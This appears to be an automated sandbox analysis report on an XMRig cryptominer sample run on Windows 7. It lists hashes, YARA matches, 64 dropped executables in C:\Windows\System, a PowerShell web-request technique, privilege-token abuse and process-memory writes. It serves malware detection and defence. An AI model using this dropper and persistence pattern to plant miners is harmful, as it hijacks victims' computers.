xmrig | 510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831

Analysis

max time kernel
150s
max time network
143s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
07-08-2024 21:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
Size

2.9MB
MD5

a54d99bc5ecf762c5c3f3f666802748c
SHA1

2f0f13d89d79bbb1966f66a5be3c407482f060e1
SHA256

510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831
SHA512

099f5aa67c24f6a172b2703521f97ea64820a890d1862bd74acc91da381856eb0ee980f28496f3a848599cb9891d19dd824e760811f8c1661e2c64881b513729
SSDEEP

49152:71G1NtyBwTI3ySZbrkXV1etEKLlWUTOfeiRA2R76zHrWax9hMkiFGlvETbzkU:71ONtyBeSFkXV1etEKLlWUTOfeiRA2RF

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 51 IoCs

miner

resource	yara_rule
behavioral1/memory/2488-0-0x000000013F9F0000-0x000000013FDE6000-memory.dmp	xmrig
behavioral1/files/0x000e00000001418b-3.dat	xmrig
behavioral1/files/0x0008000000015d0e-10.dat	xmrig
behavioral1/files/0x0008000000015d2f-9.dat	xmrig
behavioral1/files/0x0007000000015e16-24.dat	xmrig
behavioral1/files/0x0007000000015e05-16.dat	xmrig
behavioral1/files/0x0007000000015e5b-43.dat	xmrig
behavioral1/files/0x0005000000018780-72.dat	xmrig
behavioral1/files/0x0005000000019223-79.dat	xmrig
behavioral1/files/0x000500000001932d-109.dat	xmrig
behavioral1/memory/2700-111-0x000000013F400000-0x000000013F7F6000-memory.dmp	xmrig
behavioral1/files/0x0005000000018766-119.dat	xmrig
behavioral1/memory/3016-105-0x000000013FDE0000-0x00000001401D6000-memory.dmp	xmrig
behavioral1/files/0x000500000001926b-103.dat	xmrig
behavioral1/files/0x0005000000019240-102.dat	xmrig
behavioral1/files/0x000500000001930d-101.dat	xmrig
behavioral1/files/0x0005000000019246-93.dat	xmrig
behavioral1/memory/2488-88-0x000000013F430000-0x000000013F826000-memory.dmp	xmrig
behavioral1/files/0x0005000000019230-84.dat	xmrig
behavioral1/memory/2716-76-0x000000013FBD0000-0x000000013FFC6000-memory.dmp	xmrig
behavioral1/memory/2808-75-0x000000013F150000-0x000000013F546000-memory.dmp	xmrig
behavioral1/files/0x0006000000018bf3-74.dat	xmrig
behavioral1/files/0x0006000000018b62-64.dat	xmrig
behavioral1/files/0x0006000000018718-58.dat	xmrig
behavioral1/files/0x0007000000004e76-47.dat	xmrig
behavioral1/memory/2412-41-0x000000013FED0000-0x00000001402C6000-memory.dmp	xmrig
behavioral1/memory/2568-114-0x000000013FAD0000-0x000000013FEC6000-memory.dmp	xmrig
behavioral1/memory/2128-33-0x000000013F210000-0x000000013F606000-memory.dmp	xmrig
behavioral1/memory/2188-28-0x000000013F370000-0x000000013F766000-memory.dmp	xmrig
behavioral1/files/0x0006000000018b68-73.dat	xmrig
behavioral1/memory/2756-61-0x000000013F770000-0x000000013FB66000-memory.dmp	xmrig
behavioral1/memory/2152-55-0x000000013F250000-0x000000013F646000-memory.dmp	xmrig
behavioral1/files/0x0009000000015eff-46.dat	xmrig
behavioral1/files/0x0009000000015ce8-139.dat	xmrig
behavioral1/files/0x000500000001933b-140.dat	xmrig
behavioral1/files/0x00050000000193b5-155.dat	xmrig
behavioral1/files/0x00050000000193b3-174.dat	xmrig
behavioral1/files/0x000500000001949e-170.dat	xmrig
behavioral1/files/0x00050000000194db-186.dat	xmrig
behavioral1/files/0x00050000000194cd-180.dat	xmrig
behavioral1/files/0x00050000000193e8-158.dat	xmrig
behavioral1/files/0x000500000001939b-164.dat	xmrig
behavioral1/files/0x0005000000019374-162.dat	xmrig
behavioral1/files/0x00050000000194e3-189.dat	xmrig
behavioral1/files/0x00050000000194d2-183.dat	xmrig
behavioral1/files/0x00050000000194c4-178.dat	xmrig
behavioral1/files/0x00050000000193f7-168.dat	xmrig
behavioral1/memory/2488-3016-0x000000013F9F0000-0x000000013FDE6000-memory.dmp	xmrig
behavioral1/memory/2128-3634-0x000000013F210000-0x000000013F606000-memory.dmp	xmrig
behavioral1/memory/2716-7251-0x000000013FBD0000-0x000000013FFC6000-memory.dmp	xmrig
behavioral1/memory/2568-7271-0x000000013FAD0000-0x000000013FEC6000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1296	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2152	cpdsXoE.exe
2188	JCdFUVz.exe
2128	JOnfLEt.exe
2756	sRDKQNo.exe
2412	slNTFeB.exe
2808	ODnPnea.exe
2716	xUnpXOy.exe
2700	UcjKRdl.exe
2568	YenVqHk.exe
3016	AMBopaD.exe
1732	uilduWm.exe
880	aMLVdis.exe
1944	pSOetrx.exe
2984	owhdzgU.exe
2536	xmERmfw.exe
2444	MFYrbPa.exe
380	nIGmMVp.exe
1800	tOyqBfe.exe
2844	QBsXuyj.exe
1968	XbhXCac.exe
2508	Nmhusao.exe
2948	HPRaVhw.exe
2148	lvEoJwg.exe
2024	JYZoEaE.exe
1028	cfwnFkb.exe
1720	TUIclAM.exe
1980	WoXxZpZ.exe
1896	xZVsMZG.exe
2208	OwAPTva.exe
2348	dSRjcDY.exe
1996	JLkEJnn.exe
2220	PKLidnK.exe
700	vSSiVVU.exe
824	lTIuDSy.exe
1020	TvKcQfg.exe
2404	oRXIWZt.exe
2368	GnBpvbd.exe
3024	URibfnt.exe
1124	lwPpGzx.exe
2964	mncgLnd.exe
864	EGqOLmu.exe
1588	UzXJrjv.exe
1432	GrNoViv.exe
2616	zHBSPxq.exe
1568	iSmBEDi.exe
2796	dotsyqf.exe
1872	efKBCPi.exe
2776	AmWtPIX.exe
2628	LfXtufx.exe
2608	KLgjHIQ.exe
2592	frxVmaA.exe
2440	znwqlnf.exe
2360	ZCBRacT.exe
2680	PzrFtUG.exe
2912	QwQVZSb.exe
2812	oWXTaxI.exe
2548	DtGITPc.exe
1112	CPmdkFL.exe
2996	lZcaAxZ.exe
580	ShBbslu.exe
2816	MZLJHiY.exe
2584	LkHdrqe.exe
2736	CRqgsxq.exe
1360	BMcWMvR.exe

Loads dropped DLL 64 IoCs

pid	Process
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe

UPX packed file 50 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2488-0-0x000000013F9F0000-0x000000013FDE6000-memory.dmp	upx
behavioral1/files/0x000e00000001418b-3.dat	upx
behavioral1/files/0x0008000000015d0e-10.dat	upx
behavioral1/files/0x0008000000015d2f-9.dat	upx
behavioral1/files/0x0007000000015e16-24.dat	upx
behavioral1/files/0x0007000000015e05-16.dat	upx
behavioral1/files/0x0007000000015e5b-43.dat	upx
behavioral1/files/0x0005000000018780-72.dat	upx
behavioral1/files/0x0005000000019223-79.dat	upx
behavioral1/files/0x000500000001932d-109.dat	upx
behavioral1/memory/2700-111-0x000000013F400000-0x000000013F7F6000-memory.dmp	upx
behavioral1/files/0x0005000000018766-119.dat	upx
behavioral1/memory/3016-105-0x000000013FDE0000-0x00000001401D6000-memory.dmp	upx
behavioral1/files/0x000500000001926b-103.dat	upx
behavioral1/files/0x0005000000019240-102.dat	upx
behavioral1/files/0x000500000001930d-101.dat	upx
behavioral1/files/0x0005000000019246-93.dat	upx
behavioral1/files/0x0005000000019230-84.dat	upx
behavioral1/memory/2716-76-0x000000013FBD0000-0x000000013FFC6000-memory.dmp	upx
behavioral1/memory/2808-75-0x000000013F150000-0x000000013F546000-memory.dmp	upx
behavioral1/files/0x0006000000018bf3-74.dat	upx
behavioral1/files/0x0006000000018b62-64.dat	upx
behavioral1/files/0x0006000000018718-58.dat	upx
behavioral1/files/0x0007000000004e76-47.dat	upx
behavioral1/memory/2412-41-0x000000013FED0000-0x00000001402C6000-memory.dmp	upx
behavioral1/memory/2568-114-0x000000013FAD0000-0x000000013FEC6000-memory.dmp	upx
behavioral1/memory/2128-33-0x000000013F210000-0x000000013F606000-memory.dmp	upx
behavioral1/memory/2188-28-0x000000013F370000-0x000000013F766000-memory.dmp	upx
behavioral1/files/0x0006000000018b68-73.dat	upx
behavioral1/memory/2756-61-0x000000013F770000-0x000000013FB66000-memory.dmp	upx
behavioral1/memory/2152-55-0x000000013F250000-0x000000013F646000-memory.dmp	upx
behavioral1/files/0x0009000000015eff-46.dat	upx
behavioral1/files/0x0009000000015ce8-139.dat	upx
behavioral1/files/0x000500000001933b-140.dat	upx
behavioral1/files/0x00050000000193b5-155.dat	upx
behavioral1/files/0x00050000000193b3-174.dat	upx
behavioral1/files/0x000500000001949e-170.dat	upx
behavioral1/files/0x00050000000194db-186.dat	upx
behavioral1/files/0x00050000000194cd-180.dat	upx
behavioral1/files/0x00050000000193e8-158.dat	upx
behavioral1/files/0x000500000001939b-164.dat	upx
behavioral1/files/0x0005000000019374-162.dat	upx
behavioral1/files/0x00050000000194e3-189.dat	upx
behavioral1/files/0x00050000000194d2-183.dat	upx
behavioral1/files/0x00050000000194c4-178.dat	upx
behavioral1/files/0x00050000000193f7-168.dat	upx
behavioral1/memory/2488-3016-0x000000013F9F0000-0x000000013FDE6000-memory.dmp	upx
behavioral1/memory/2128-3634-0x000000013F210000-0x000000013F606000-memory.dmp	upx
behavioral1/memory/2716-7251-0x000000013FBD0000-0x000000013FFC6000-memory.dmp	upx
behavioral1/memory/2568-7271-0x000000013FAD0000-0x000000013FEC6000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\AJYWfOd.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\ncIaRft.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\sIOSGuB.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\ktlqrAV.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\fGQPMKv.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\QZNAtQj.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\JZIkEzi.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\hkSDwyB.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\yoJZvUF.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\PjDPXhX.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\gmTmtZc.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\RxNXjeo.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\mnOkWJN.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\cYZLhTF.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\iSyftJm.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\jByzpnK.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\xtzSUzE.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\XJptYoT.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\vGFQucD.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\LrtYVIV.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\rhMzLhc.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\QJFSIGV.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\KVSmuSP.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\PKMNCvs.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\RYyFgaI.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\NrRTNLN.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\eLLYgJz.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\hhkHpyu.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\zeCSUZv.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\pEieeYL.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\NvjtuIv.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\WdaSUgD.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\pGgpaSq.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\cqxMKTF.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\zlsELzO.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\QGzNlFs.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\khBDGJB.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\mHKfQcC.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\kzXhsDw.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\oXJYGJR.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\nVnqSIR.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\HWHxZCd.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\JZvAPSV.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\SYukiXj.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\RCKlGxn.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\KjiSKAS.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\hBZqYEj.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\iOzgtbc.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\GBMjwSy.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\CZPVXlP.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\ZdqaseN.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\DLLQIQg.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\fXiigjm.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\WIBtKlj.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\dzPJYUP.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\VcIIJpO.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\VUujBQM.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\kEEHfWF.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\vlcMFGy.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\oHUCHiC.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\efICWLe.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\vOubyZC.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\UhNFeSp.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
File created	C:\Windows\System\VJCUHyf.exe	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1296	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
Token: SeLockMemoryPrivilege	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
Token: SeDebugPrivilege	1296	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 1296	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	32
PID 2488 wrote to memory of 1296	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	32
PID 2488 wrote to memory of 1296	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	32
PID 2488 wrote to memory of 2152	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	33
PID 2488 wrote to memory of 2152	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	33
PID 2488 wrote to memory of 2152	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	33
PID 2488 wrote to memory of 2188	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	34
PID 2488 wrote to memory of 2188	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	34
PID 2488 wrote to memory of 2188	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	34
PID 2488 wrote to memory of 2128	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	35
PID 2488 wrote to memory of 2128	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	35
PID 2488 wrote to memory of 2128	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	35
PID 2488 wrote to memory of 2412	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	36
PID 2488 wrote to memory of 2412	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	36
PID 2488 wrote to memory of 2412	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	36
PID 2488 wrote to memory of 2756	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	37
PID 2488 wrote to memory of 2756	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	37
PID 2488 wrote to memory of 2756	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	37
PID 2488 wrote to memory of 2808	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	38
PID 2488 wrote to memory of 2808	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	38
PID 2488 wrote to memory of 2808	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	38
PID 2488 wrote to memory of 2716	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	39
PID 2488 wrote to memory of 2716	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	39
PID 2488 wrote to memory of 2716	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	39
PID 2488 wrote to memory of 2984	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	40
PID 2488 wrote to memory of 2984	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	40
PID 2488 wrote to memory of 2984	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	40
PID 2488 wrote to memory of 2700	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	41
PID 2488 wrote to memory of 2700	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	41
PID 2488 wrote to memory of 2700	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	41
PID 2488 wrote to memory of 2536	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	42
PID 2488 wrote to memory of 2536	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	42
PID 2488 wrote to memory of 2536	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	42
PID 2488 wrote to memory of 2568	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	43
PID 2488 wrote to memory of 2568	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	43
PID 2488 wrote to memory of 2568	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	43
PID 2488 wrote to memory of 2444	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	44
PID 2488 wrote to memory of 2444	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	44
PID 2488 wrote to memory of 2444	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	44
PID 2488 wrote to memory of 3016	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	45
PID 2488 wrote to memory of 3016	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	45
PID 2488 wrote to memory of 3016	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	45
PID 2488 wrote to memory of 380	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	46
PID 2488 wrote to memory of 380	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	46
PID 2488 wrote to memory of 380	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	46
PID 2488 wrote to memory of 1732	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	47
PID 2488 wrote to memory of 1732	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	47
PID 2488 wrote to memory of 1732	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	47
PID 2488 wrote to memory of 1800	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	48
PID 2488 wrote to memory of 1800	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	48
PID 2488 wrote to memory of 1800	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	48
PID 2488 wrote to memory of 880	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	49
PID 2488 wrote to memory of 880	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	49
PID 2488 wrote to memory of 880	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	49
PID 2488 wrote to memory of 2844	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	50
PID 2488 wrote to memory of 2844	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	50
PID 2488 wrote to memory of 2844	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	50
PID 2488 wrote to memory of 1944	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	51
PID 2488 wrote to memory of 1944	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	51
PID 2488 wrote to memory of 1944	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	51
PID 2488 wrote to memory of 1968	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	52
